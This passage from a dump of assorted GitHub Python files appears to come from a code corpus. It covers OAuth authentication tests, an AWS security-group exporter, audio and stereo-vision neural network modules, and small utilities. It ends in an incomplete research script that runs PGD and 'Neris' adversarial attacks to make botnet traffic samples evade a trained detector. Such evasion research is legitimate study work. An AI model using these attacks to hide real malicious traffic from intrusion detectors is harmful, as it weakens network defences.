'session_id': None,\n 'user_ip': '192.0.2.1',\n 'default_uid': None,\n 'host': 'ya.ru',\n 'logger': mocked_logger,\n 'allowed_oauth_client_ids': None,\n }\n\n @pytest.fixture\n def blackbox_oauth_result(self, expected_uid):\n return OauthResult(\n client_id=FAKE_OAUTH_CLIENT_ID,\n uid=expected_uid,\n login_id=FAKE_LOGIN_ID,\n tvm_ticket=FAKE_USER_TICKET,\n is_yandexoid=True,\n )\n\n @pytest.fixture(autouse=True)\n def mock_blackbox(self, mocker, blackbox_oauth_result):\n return mocker.patch.object(\n AbstractBlackBoxClient,\n 'get_oauth_token_info',\n mocker.AsyncMock(return_value=blackbox_oauth_result),\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user(self, params, expected_uid, mocked_logger):\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.OAUTH,\n is_yandexoid=True,\n ),\n )\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(uid=expected_uid, login_id=FAKE_LOGIN_ID, auth_source=AuthenticationMethod.OAUTH)\n )\n )\n )\n\n @pytest.mark.asyncio\n async def test_returns_expected_user__if_oauth_client_allowed(self, params, expected_uid):\n params['allowed_oauth_client_ids'] = {FAKE_OAUTH_CLIENT_ID}\n\n assert_that(\n await BlackboxAuthenticator(**params).get_user(),\n has_properties(\n uid=expected_uid,\n tvm_ticket=FAKE_USER_TICKET,\n login_id=FAKE_LOGIN_ID,\n auth_method=AuthenticationMethod.OAUTH,\n is_yandexoid=True,\n ),\n )\n\n @pytest.mark.asyncio\n async def test_calls_blackbox(self, params, mock_blackbox):\n await BlackboxAuthenticator(**params).get_user()\n\n mock_blackbox.assert_called_once_with(\n oauth_token='token', scopes=[], user_ip='192.0.2.1', get_user_ticket=True\n )\n\n @pytest.mark.parametrize(\n 'authorization_header, expected_message',\n (\n ('', 'MISSING_CREDENTIALS'),\n ('oauth', 'AUTHORIZATION_HEADER_MALFORMED'),\n ('bearer ToKeN', 'INCORRECT_AUTH_REALM'),\n )\n )\n @pytest.mark.asyncio\n async def test_when_oauth_token_empty__raises_exception(\n self, params, mock_blackbox, authorization_header, expected_message\n ):\n params['authorization_header'] = authorization_header\n with pytest.raises(AuthenticationException) as exc_info:\n await BlackboxAuthenticator(**params).get_user()\n\n assert_that(exc_info.value.message, equal_to(expected_message))\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('expected_uid', (None,), indirect=True)\n async def test_when_uid_empty__raises_exception(self, params, mock_blackbox):\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_when_token_rejected_by_blackbox__raises_exception(self, params, mock_blackbox):\n mock_blackbox.side_effect = BlackBoxInvalidSessionError\n\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n @pytest.mark.asyncio\n async def test_when_oauth_client_not_allowed__raises_exception(self, params, mock_blackbox, mocked_logger):\n params['allowed_oauth_client_ids'] = {'another_client_id'}\n\n with pytest.raises(AuthenticationException):\n await BlackboxAuthenticator(**params).get_user()\n\n assert_that(\n mocked_logger.context_push.call_args_list,\n has_item(\n has_properties(\n kwargs=dict(request_client_id=FAKE_OAUTH_CLIENT_ID, allowed_client_ids={'another_client_id'})\n )\n )\n )\n\n\nclass TestMiddleware:\n @pytest.fixture\n def mock_authenticator(self, mocker):\n return mocker.patch('sendr_auth.middlewares.BlackboxAuthenticator')\n\n @pytest.fixture(autouse=True)\n def mock_get_user(self, mocker, expected_uid, mock_authenticator):\n get_user_mock = mocker.AsyncMock(return_value=User(expected_uid))\n mock_authenticator.return_value.get_user = get_user_mock\n return get_user_mock\n\n @pytest.fixture\n def request_obj(self, expected_uid, mocked_logger):\n class Request(dict):\n pass\n\n request = Request()\n request['logger'] = mocked_logger\n request.path = '/'\n request.cookies = {}\n request.headers = {}\n request.query = {}\n request.remote = '127.0.0.1'\n request.method = hdrs.METH_GET\n request.match_info = None\n return request\n\n @pytest.fixture\n def middleware(self):\n return create_blackbox_middleware(\n AbstractBlackBoxClient,\n oauth_scopes=[],\n host='ya.ru',\n ignored_paths={'/ignored', '/v1/ignored'},\n ignored_path_prefixes={'/prefix-ignored'},\n allowed_oauth_client_ids={'fake_client_id'},\n )\n\n @pytest.mark.asyncio\n async def test_success(self, handler, middleware, request_obj, mock_get_user, expected_uid):\n await middleware(request_obj, handler)\n\n mock_get_user.assert_awaited_once()\n handler.assert_awaited_once_with(request_obj)\n assert_that(request_obj['user'].uid, equal_to(expected_uid))\n\n @pytest.mark.asyncio\n async def test_authenticator_init_call(self, handler, middleware, request_obj, mock_authenticator, mocker):\n await middleware(request_obj, handler)\n\n mock_authenticator.assert_called_once_with(\n client=mocker.ANY,\n scopes=[],\n authorization_header=request_obj.headers.get('Authorization'),\n session_id=request_obj.cookies.get('Session_id'),\n default_uid=request_obj.query.get('default_uid'),\n user_ip=request_obj.remote,\n host='ya.ru',\n logger=request_obj['logger'],\n allowed_oauth_client_ids={'fake_client_id'},\n )\n\n @pytest.mark.asyncio\n async def test_fail(self, handler, middleware, request_obj, mock_get_user):\n mock_get_user.side_effect = AuthenticationException\n\n with pytest.raises(AuthenticationException):\n await middleware(request_obj, handler)\n\n @pytest.mark.asyncio\n async def test_safe_method(self, handler, middleware, request_obj, mock_get_user):\n request_obj.method = hdrs.METH_OPTIONS\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_skip_authentication(self, handler, middleware, request_obj, mock_get_user):\n handler = skip_authentication(handler)\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_ignored_paths(self, handler, middleware, request_obj, mock_get_user):\n request_obj.path = '/ignored'\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_ignored_path_prefix(self, handler, middleware, request_obj, mock_get_user):\n request_obj.path = '/prefix-ignored'\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_optional_authentication(self, handler, middleware, request_obj, mock_get_user):\n handler = optional_authentication(handler)\n mock_get_user.side_effect = AuthenticationException\n\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_awaited_once()\n handler.assert_awaited_once_with(request_obj)\n\n @pytest.mark.asyncio\n async def test_not_found(self, handler, middleware, request_obj, mock_get_user):\n request_obj.match_info = web_urldispatcher.MatchInfoError(Exception)\n await middleware(request_obj, handler)\n\n assert 'user' not in request_obj\n mock_get_user.assert_not_called()\n handler.assert_awaited_once_with(request_obj)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/test_blackbox.py","file_name":"test_blackbox.py","file_ext":"py","file_size_in_byte":12542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32390090066","text":"#!/usr/bin/env python\n\nfrom setuptools import find_packages\nfrom setuptools import setup\nimport codecs\nimport os.path\n\ndef read(rel_path):\n here = os.path.abspath(os.path.dirname(__file__))\n with codecs.open(os.path.join(here, rel_path), 'r') as fp:\n return fp.read()\n\ndef get_version(rel_path):\n for line in read(rel_path).splitlines():\n if line.startswith('__version__'):\n delim = '\"' if '\"' in line else \"'\"\n return line.split(delim)[1]\n else:\n raise RuntimeError(\"Unable to find version string.\")\nversion=get_version(\"src/wlabkit/__init__.py\")\n\nwith open(\"README.rst\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetup(\n name='wlabkit',\n version=version,\n url='https://github.com/BioGavin/wlab',\n license='GPL',\n author='Zhen-Yi Zhou',\n author_email=\"gavinchou64@gmail.com\",\n description=\"A toolkit to handle bio-data from WeiBin Lab.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n classifiers=[\"Programming Language :: Python :: 3.8\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\"],\n scripts=['scripts/wlabkit'],\n package_dir={\"\": \"src\"},\n packages=find_packages(where=\"src\"),\n include_package_data=True,\n python_requires=\">=3.8\",\n install_requires=[\n \"biopython\",\n \"numpy\",\n \"pandas\",\n \"python-dateutil\",\n \"pytz\",\n \"six\"\n ]\n)\n","repo_name":"BioGavin/wlabkit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"}
+{"seq_id":"6587182446","text":"import math\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport librosa as lr\n\npi = np.pi\n\n\ndef complex_multiply(a, b, complex_dim_a=None, complex_dim_b=None):\n # if a.shape != b.shape:\n # print('a and b must have the same shape')\n # print('shape a:', a.shape, 'shape b:', b.shape)\n\n r = torch.LongTensor([0]).to(a.device)\n\n if complex_dim_a is None:\n complex_dim_a = len(a.shape) - 1\n\n if complex_dim_b is None:\n complex_dim_b = len(b.shape) - 1\n\n real_a = torch.index_select(a, complex_dim_a, r).squeeze(complex_dim_a)\n imag_a = torch.index_select(a, complex_dim_a, r+1).squeeze(complex_dim_a)\n real_b = torch.index_select(b, complex_dim_b, r).squeeze(complex_dim_b)\n imag_b = torch.index_select(b, complex_dim_b, r+1).squeeze(complex_dim_b)\n\n product_real = real_a * real_b - imag_a * imag_b\n product_imag = real_a * imag_b + imag_a * real_b\n\n stack_dim = max(complex_dim_a, complex_dim_b)\n return torch.stack([product_real, product_imag], dim=stack_dim)\n\n\ndef amplitude(z, complex_dim=None):\n r = torch.LongTensor([0]).to(z.device)\n\n if complex_dim is None:\n complex_dim = len(z.shape) - 1\n real = torch.index_select(z, complex_dim, r).squeeze(dim=complex_dim)\n imag = torch.index_select(z, complex_dim, r+1).squeeze(dim=complex_dim)\n return torch.sqrt(real ** 2 + imag ** 2)\n\n\ndef angle(z, complex_dim=None):\n r = torch.LongTensor([0]).to(z.device)\n if complex_dim is None:\n complex_dim = len(z.shape) - 1\n real = torch.index_select(z, complex_dim, r).squeeze(dim=complex_dim)\n imag = torch.index_select(z, complex_dim, r+1).squeeze(dim=complex_dim)\n return torch.atan2(imag, real)\n\n\ndef polar_to_complex(abs, angle, complex_dim=None):\n real = abs * torch.cos(angle)\n imag = abs * torch.sin(angle)\n if complex_dim is None:\n complex_dim = len(abs.shape)\n return torch.stack([real, imag], dim=complex_dim)\n\n\ndef to_complex(real, imag, complex_dim=None):\n if complex_dim is None:\n complex_dim = len(real.shape)\n return torch.stack([real, imag], dim=complex_dim)\n\n\ndef unwrap(x):\n y = x.clone()\n y[torch.gt(x, pi)] = x[torch.gt(x, pi)] - 2*pi\n y[torch.lt(x, -pi)] = x[torch.lt(x, -pi)] + 2*pi\n return y\n\n\nclass CQT(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, filter_scale=1., hop_length=128, trainable=False):\n super().__init__()\n\n self.hop_length = hop_length\n\n self.sr = sr\n self.fmin = fmin\n self.n_bins = n_bins\n self.bins_per_octave = bins_per_octave\n self.filter_scale = filter_scale\n self.hop_length = hop_length\n\n # load filters\n cqt_filters, cqt_filter_lenghts = lr.filters.constant_q(sr,\n fmin=fmin,\n n_bins=n_bins,\n bins_per_octave=bins_per_octave,\n filter_scale=filter_scale)\n self.cqt_filter_lengths = cqt_filter_lenghts\n\n # one convolution operation per octave\n self.conv_kernel_sizes = [] # the kernel sizes of the octaves\n self.conv_index_ranges = [] # the indices belonging to each convolution operation\n current_kernel_size = None\n last_change_index = 0\n for i, l in enumerate(cqt_filter_lenghts):\n kernel_size = 2 ** math.ceil(np.log2(l))\n if current_kernel_size is not None and kernel_size >= current_kernel_size:\n # continue if this is in the same octave\n continue\n self.conv_kernel_sizes.append(kernel_size)\n current_kernel_size = kernel_size\n if i != 0:\n self.conv_index_ranges.append(range(last_change_index, i))\n last_change_index = i\n self.conv_index_ranges.append(range(last_change_index, len(self.cqt_filter_lengths)))\n\n filter_length = cqt_filters.shape[-1]\n self.conv_modules = nn.ModuleList()\n for i, size in enumerate(self.conv_kernel_sizes):\n this_range = self.conv_index_ranges[i]\n offset = (filter_length - size) // 2\n if offset > 0:\n this_filter = cqt_filters[this_range, offset:-offset]\n else:\n this_filter = cqt_filters[this_range, :]\n this_filter = torch.cat([torch.from_numpy(np.real(this_filter)),\n torch.from_numpy(np.imag(this_filter))], dim=0).type(torch.FloatTensor)\n this_conv = nn.Conv1d(in_channels=1, out_channels=this_filter.shape[0], kernel_size=size, bias=False,\n stride=hop_length) # , padding=size // 2)\n this_conv.weight = torch.nn.Parameter(this_filter.unsqueeze(1), requires_grad=False) # should be False\n self.conv_modules.append(this_conv)\n\n self._trainable = False\n self.trainable = trainable\n\n @property\n def trainable(self):\n return self._trainable\n\n @trainable.setter\n def trainable(self, value):\n for p in self.parameters():\n p.requires_grad = value\n self._trainable = value\n\n def forward(self, x):\n real = []\n imag = []\n for i, conv in enumerate(self.conv_modules):\n offset = (self.conv_kernel_sizes[0] - self.conv_kernel_sizes[i]) // 2\n conv_result = conv(x[:, :, offset:-(offset+1)])\n r, i = torch.chunk(conv_result, 2, dim=1)\n real.append(r)\n imag.append(i)\n real = torch.cat(real, dim=1)\n imag = torch.cat(imag, dim=1)\n return torch.stack([real, imag], dim=3)\n\n\nclass PhaseDifference(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, hop_length=128):\n super().__init__()\n\n freqs = lr.time_frequency.cqt_frequencies(fmin=fmin,\n bins_per_octave=bins_per_octave,\n n_bins=n_bins)\n self.fixed_phase_diff = torch.from_numpy((((1.0 * freqs * hop_length / sr) + 0.5) % 1 - 0.5) * 2 * np.pi)\n self.fixed_phase_diff = self.fixed_phase_diff.type(torch.FloatTensor).view(1, -1, 1)\n self.fixed_phase_diff = torch.nn.Parameter(self.fixed_phase_diff, requires_grad=False)\n self.scaling = torch.from_numpy(1 / np.log(freqs))\n self.scaling = self.scaling.type(torch.FloatTensor).view(1, -1, 1)\n self.scaling = torch.nn.Parameter(self.scaling, requires_grad=False)\n\n def forward(self, x):\n phase_diff = x[:, :, 1:] - x[:, :, :-1]\n pd = phase_diff + self.fixed_phase_diff\n pd = unwrap(pd) * self.scaling\n return pd\n\n\nclass PhaseAccumulation(nn.Module):\n def __init__(self, sr=16000, fmin=30, n_bins=256, bins_per_octave=32, hop_length=128):\n super().__init__()\n\n freqs = lr.time_frequency.cqt_frequencies(fmin=fmin,\n bins_per_octave=bins_per_octave,\n n_bins=n_bins)\n self.fixed_phase_diff = torch.from_numpy((((1.0 * freqs * hop_length / sr) + 0.5) % 1 - 0.5) * 2 * np.pi)\n self.fixed_phase_diff = self.fixed_phase_diff.type(torch.FloatTensor).view(1, -1, 1)\n self.scaling = torch.from_numpy(1 / np.log(freqs))\n self.scaling = self.scaling.type(torch.FloatTensor).view(1, -1, 1)\n self.start_phase = torch.zeros_like(self.scaling)\n self.scaling = torch.nn.Parameter(self.scaling, requires_grad=False)\n self.start_phase = torch.nn.Parameter(self.start_phase, requires_grad=False)\n\n def forward(self, x):\n x = (x / self.scaling) - self.fixed_phase_diff\n x = torch.cat([self.start_phase, x], dim=2)\n x = torch.cumsum(x, dim=2)\n return x % (2 * np.pi) - np.pi","repo_name":"vincentherrmann/immersions-model","sub_path":"immersions/model/constant_q_transform.py","file_name":"constant_q_transform.py","file_ext":"py","file_size_in_byte":8012,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"18099535184","text":"import csv\nimport os\n\npath = \"/Users/jasonhartford/Documents/Economics/econ 1 data/Economics-1-gender-analysis/Student Data/\"\nfilename = \"01. ECON1008 2011 Registered students personal info and matric resultsDIS.csv\"\nfullname = path+filename\n\nprint(fullname)\n\nwith open((path+filename),\"rb\") as f:\n\treader = csv.reader(f, delimiter = ',')\n#\treader.next()\n\tprint(reader.next()[0:15])\n#for line in reader:\n#\tprint(line[3])\nf.close()\n#try:\n#\treader = csv.reader(f)\n#\tfor line in reader:\n#\t\tprint(line)\n\n#f.close()\n","repo_name":"jhartford/Economics-1-gender-analysis","sub_path":"Student data/transposeDate.py","file_name":"transposeDate.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14178962230","text":"import socket\nimport time\n\nimport boto3\nimport prometheus_client\n\n\nclient = None\nassume_role_state = {}\n\n\ndef ec2(assume_role_arn, aws_region):\n global client\n if assume_role_arn and\\\n ('renewal' not in assume_role_state or time.time() - assume_role_state.get('renewal', 0) > 3000):\n s = boto3.Session()\n sts = s.client('sts')\n assume_role_object = sts.assume_role(\n RoleArn=assume_role_arn,\n RoleSessionName=f'sg-exporter-{socket.gethostname()}',\n DurationSeconds=3600\n )\n client = boto3.client(\n 'ec2',\n aws_access_key_id=assume_role_object['Credentials']['AccessKeyId'],\n aws_secret_access_key=assume_role_object['Credentials']['SecretAccessKey'],\n aws_session_token=assume_role_object['Credentials']['SessionToken'],\n region_name=aws_region,\n )\n assume_role_state['renewal'] = time.time()\n elif client is None:\n client = boto3.client('ec2')\n return client\n\n\nsec_groups = {}\n\naws_sg_info = prometheus_client.Counter('aws_sg_info',\n documentation='AWS Security Group information',\n labelnames=('GroupId', 'GroupName'))\naws_sg_rule_info = prometheus_client.Counter('aws_sg_rule_info',\n documentation='AWS Security Group rule information',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'Type'))\naws_sg_rule_ip_range = prometheus_client.Counter('aws_sg_rule_ip_range',\n documentation='AWS Security Group rule IP range info',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'IpRangeCidr',\n 'Type'))\naws_sg_rule_sg_peer = prometheus_client.Counter('aws_sg_rule_sg_peer',\n documentation='AWS Security Group rule peered security group info',\n labelnames=('GroupId', 'GroupName', 'RuleHashId',\n 'FromPort', 'ToPort', 'IpProtocol', 'UserSecurityGroup',\n 'Type'))\n","repo_name":"verygood-ops/sg-exporter","sub_path":"sg_exporter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"25427234888","text":"#!/usr/bin/python3\n\"\"\"\nLinkedList length must be even number\n\"\"\"\nfrom LinkedList import LinkedList\n\n\ndef runner():\n ll = LinkedList()\n for i in range(1, 10, 2):\n ll.appendToTail(i)\n for i in range(2, 11, 2):\n ll.appendToTail(i)\n\n print('Before - ', ll)\n p1 = p2 = ll.__get__()\n\n while p1.next is not None and p1.next.next is not None:\n p1 = p1.next.next\n p2 = p2.next\n\n p2 = p2.next\n p1 = ll.__get__()\n\n while p2.next is not None:\n temp = p1.next\n p1.next = p2\n p1 = temp\n\n temp = p2.next\n p2.next = p1\n p2 = temp\n\n p1.next = p2\n print('After - ', ll)\n\n\nif __name__ == \"__main__\":\n runner()\n","repo_name":"tahmid-tanzim/problem-solving","sub_path":"Linked_Lists/runner-technique.py","file_name":"runner-technique.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"2888744488","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom typing import Callable, Optional, List\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport pdb\n\n\nclass BasicConv(nn.Module):\n\n def __init__(self, in_channels, out_channels, deconv=False, is_3d=False, bn=True, relu=True, **kwargs):\n super(BasicConv, self).__init__()\n\n self.relu = relu\n self.use_bn = bn\n if is_3d:\n if deconv:\n self.conv = nn.ConvTranspose3d(in_channels, out_channels, bias=False, **kwargs)\n else:\n self.conv = nn.Conv3d(in_channels, out_channels, bias=False, **kwargs)\n self.bn = nn.BatchNorm3d(out_channels)\n else:\n if deconv:\n self.conv = nn.ConvTranspose2d(in_channels, out_channels, bias=False, **kwargs)\n else:\n self.conv = nn.Conv2d(in_channels, out_channels, bias=False, **kwargs)\n self.bn = nn.BatchNorm2d(out_channels)\n self.LeakyReLU = nn.LeakyReLU()\n\n def forward(self, x):\n x = self.conv(x)\n if self.use_bn:\n x = self.bn(x)\n if self.relu:\n x = self.LeakyReLU(x)#, inplace=True)\n return x\n\n\nclass Conv2x(nn.Module):\n\n def __init__(self, in_channels, out_channels, deconv=False, is_3d=False, concat=True, keep_concat=True, bn=True, relu=True, keep_dispc=False):\n super(Conv2x, self).__init__()\n self.concat = concat\n self.is_3d = is_3d \n if deconv and is_3d: \n kernel = (4, 4, 4)\n elif deconv:\n kernel = 4\n else:\n kernel = 3\n\n if deconv and is_3d and keep_dispc:\n kernel = (1, 4, 4)\n stride = (1, 2, 2)\n padding = (0, 1, 1)\n self.conv1 = BasicConv(in_channels, out_channels, deconv, is_3d, bn=True, relu=True, kernel_size=kernel, stride=stride, padding=padding)\n else:\n self.conv1 = BasicConv(in_channels, out_channels, deconv, is_3d, bn=True, relu=True, kernel_size=kernel, stride=2, padding=1)\n\n if self.concat: \n mul = 2 if keep_concat else 1\n self.conv2 = BasicConv(out_channels*2, out_channels*mul, False, is_3d, bn, relu, kernel_size=3, stride=1, padding=1)\n else:\n self.conv2 = BasicConv(out_channels, out_channels, False, is_3d, bn, relu, kernel_size=3, stride=1, padding=1)\n\n def forward(self, x, rem):\n x = self.conv1(x)\n if x.shape != rem.shape:\n x = F.interpolate(\n x,\n size=(rem.shape[-2], rem.shape[-1]),\n mode='nearest')\n if self.concat:\n x = torch.cat((x, rem), 1)\n else: \n x = x + rem\n x = self.conv2(x)\n return x\n\n\ndef BasicConv2d(in_channels, out_channels, kernel_size, stride, pad, dilation):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, kernel_size=kernel_size, stride=stride,\n padding=dilation if dilation > 1 else pad, dilation=dilation, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicTransposeConv2d(in_channels, out_channels, kernel_size, stride, pad, dilation):\n output_pad = stride + 2 * pad - kernel_size * dilation + dilation - 1\n return nn.Sequential(\n nn.ConvTranspose2d(in_channels, out_channels, kernel_size, stride, pad, output_pad, dilation, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicConv3d(in_channels, out_channels, kernel_size, stride, pad, dilation=1):\n return nn.Sequential(\n nn.Conv3d(in_channels, out_channels, kernel_size=kernel_size, stride=stride,\n padding=pad, dilation=dilation, bias=False),\n nn.BatchNorm3d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef BasicTransposeConv3d(in_channels, out_channels, kernel_size, stride, pad, output_pad=0, dilation=1):\n # output_pad = stride + 2 * pad - kernel_size * dilation + dilation - 1\n return nn.Sequential(\n nn.ConvTranspose3d(in_channels, out_channels, kernel_size, stride,\n pad, output_pad, dilation, bias=False),\n nn.BatchNorm3d(out_channels),\n nn.LeakyReLU(inplace=True, negative_slope=0.2),\n )\n\n\ndef conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n \"\"\"3x3 convolution with padding\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=dilation, groups=groups, bias=False, dilation=dilation)\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n \"\"\"1x1 convolution\"\"\"\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n super(BasicBlock, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError('BasicBlock only supports groups=1 and base_width=64')\n if dilation > 1:\n raise NotImplementedError(\"Dilation > 1 not supported in BasicBlock\")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n\nclass ConvBNReLU3d(nn.Sequential):\n def __init__(\n self,\n in_planes: int,\n out_planes: int,\n kernel_size: int = 3,\n stride: int = 1,\n groups: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n padding = (kernel_size - 1) // 2\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n super(ConvBNReLU3d, self).__init__(\n nn.Conv3d(in_planes, out_planes, kernel_size, stride, padding, groups=groups, bias=False),\n norm_layer(out_planes),\n nn.ReLU6(inplace=True)\n )\n\nclass InvertedResidual3d(nn.Module):\n def __init__(\n self,\n inp: int,\n oup: int,\n stride: int,\n expand_ratio: int,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n super(InvertedResidual3d, self).__init__()\n self.stride = stride\n assert stride in [1, 2]\n\n if norm_layer is None:\n norm_layer = nn.BatchNorm3d\n\n hidden_dim = int(round(inp * expand_ratio))\n self.use_res_connect = self.stride == 1 and inp == oup\n\n layers: List[nn.Module] = []\n if expand_ratio != 1:\n # pw\n layers.append(ConvBNReLU3d(inp, hidden_dim, kernel_size=1, norm_layer=norm_layer))\n layers.extend([\n # dw\n ConvBNReLU3d(hidden_dim, hidden_dim, stride=stride, groups=hidden_dim, norm_layer=norm_layer),\n # pw-linear\n nn.Conv3d(hidden_dim, oup, 1, 1, 0, bias=False),\n norm_layer(oup),\n ])\n self.conv = nn.Sequential(*layers)\n\n def forward(self, x: Tensor) -> Tensor:\n if self.use_res_connect:\n return x + self.conv(x)\n else:\n return self.conv(x)\n\nclass AtrousBlock(nn.Module):\n\n def __init__(self, in_channels, out_channels, stride=1, bn=True, relu=True):\n super(AtrousBlock, self).__init__()\n\n dilations = [2,4,6]\n self.conv_1 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=1,dilation=1)\n self.conv_2 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[0],dilations[0]),dilation=(1,dilations[0],dilations[0]))\n self.conv_3 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[1],dilations[1]),dilation=(1,dilations[1],dilations[1]))\n self.conv_4 = BasicConv(in_channels,out_channels//4,is_3d=True,kernel_size=3,stride=stride,padding=(1,dilations[2],dilations[2]),dilation=(1,dilations[2],dilations[2]))\n\n def forward(self, x):\n x = torch.cat((self.conv_1(x),self.conv_2(x),self.conv_3(x),self.conv_4(x)),1)\n return x\n","repo_name":"antabangun/coex","sub_path":"models/stereo/submodules/util_conv.py","file_name":"util_conv.py","file_ext":"py","file_size_in_byte":9140,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"72"}
+{"seq_id":"4199912357","text":"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\nimport sys\nsys.path.append('..')\nimport time\nimport joblib\nfrom datetime import datetime\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\nfrom fence.neris_attack_tf2 import Neris_attack\nfrom pgd.pgd_attack_art import PgdRandomRestart\nfrom training.helpers import read_min_max\nfrom tensorflow.random import set_seed\n\"\"\"\nset_seed(2)\nfrom numpy.random import seed\nseed(2)\n\"\"\"\nimport random\nnp.random.seed(500)\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef attack(method, model_path, samples_path, labels_path, distance, iterations, mask_idx, eq_min_max, only_botnet=True): \n samples = np.load(samples_path)\n labels = np.load(labels_path)\n if only_botnet:\n idx = np.where(labels==1)[0]\n labels = labels[idx]\n samples = samples[idx]\n model = load_model(model_path)\n\n if method == \"pgd\":\n labels = np.expand_dims(labels, axis=1)\n attack_generator = PgdRandomRestart(model, eps=distance, alpha = 1, num_iter = iterations, restarts = 5, scaler=scaler, mins=min_features, maxs=max_features, mask_idx=mask_idx, eq_min_max=eq_min_max)\n perturbSamples = attack_generator.run_attack(samples,labels)\n\n if method == \"neris\":\n perturbSamples = []\n attack_generator = Neris_attack(model_path = model_path, iterations=iterations, distance=distance, scaler=scaler, mins=min_features, maxs=max_features)\n for i in range(samples.shape[0]):\n if (i % 1000)==0:\n print(\"Attack \", i)\n sample = samples[i]\n sample = np.expand_dims(sample, axis=0)\n label = labels[i]\n adversary = attack_generator.run_attack(sample,label)\n 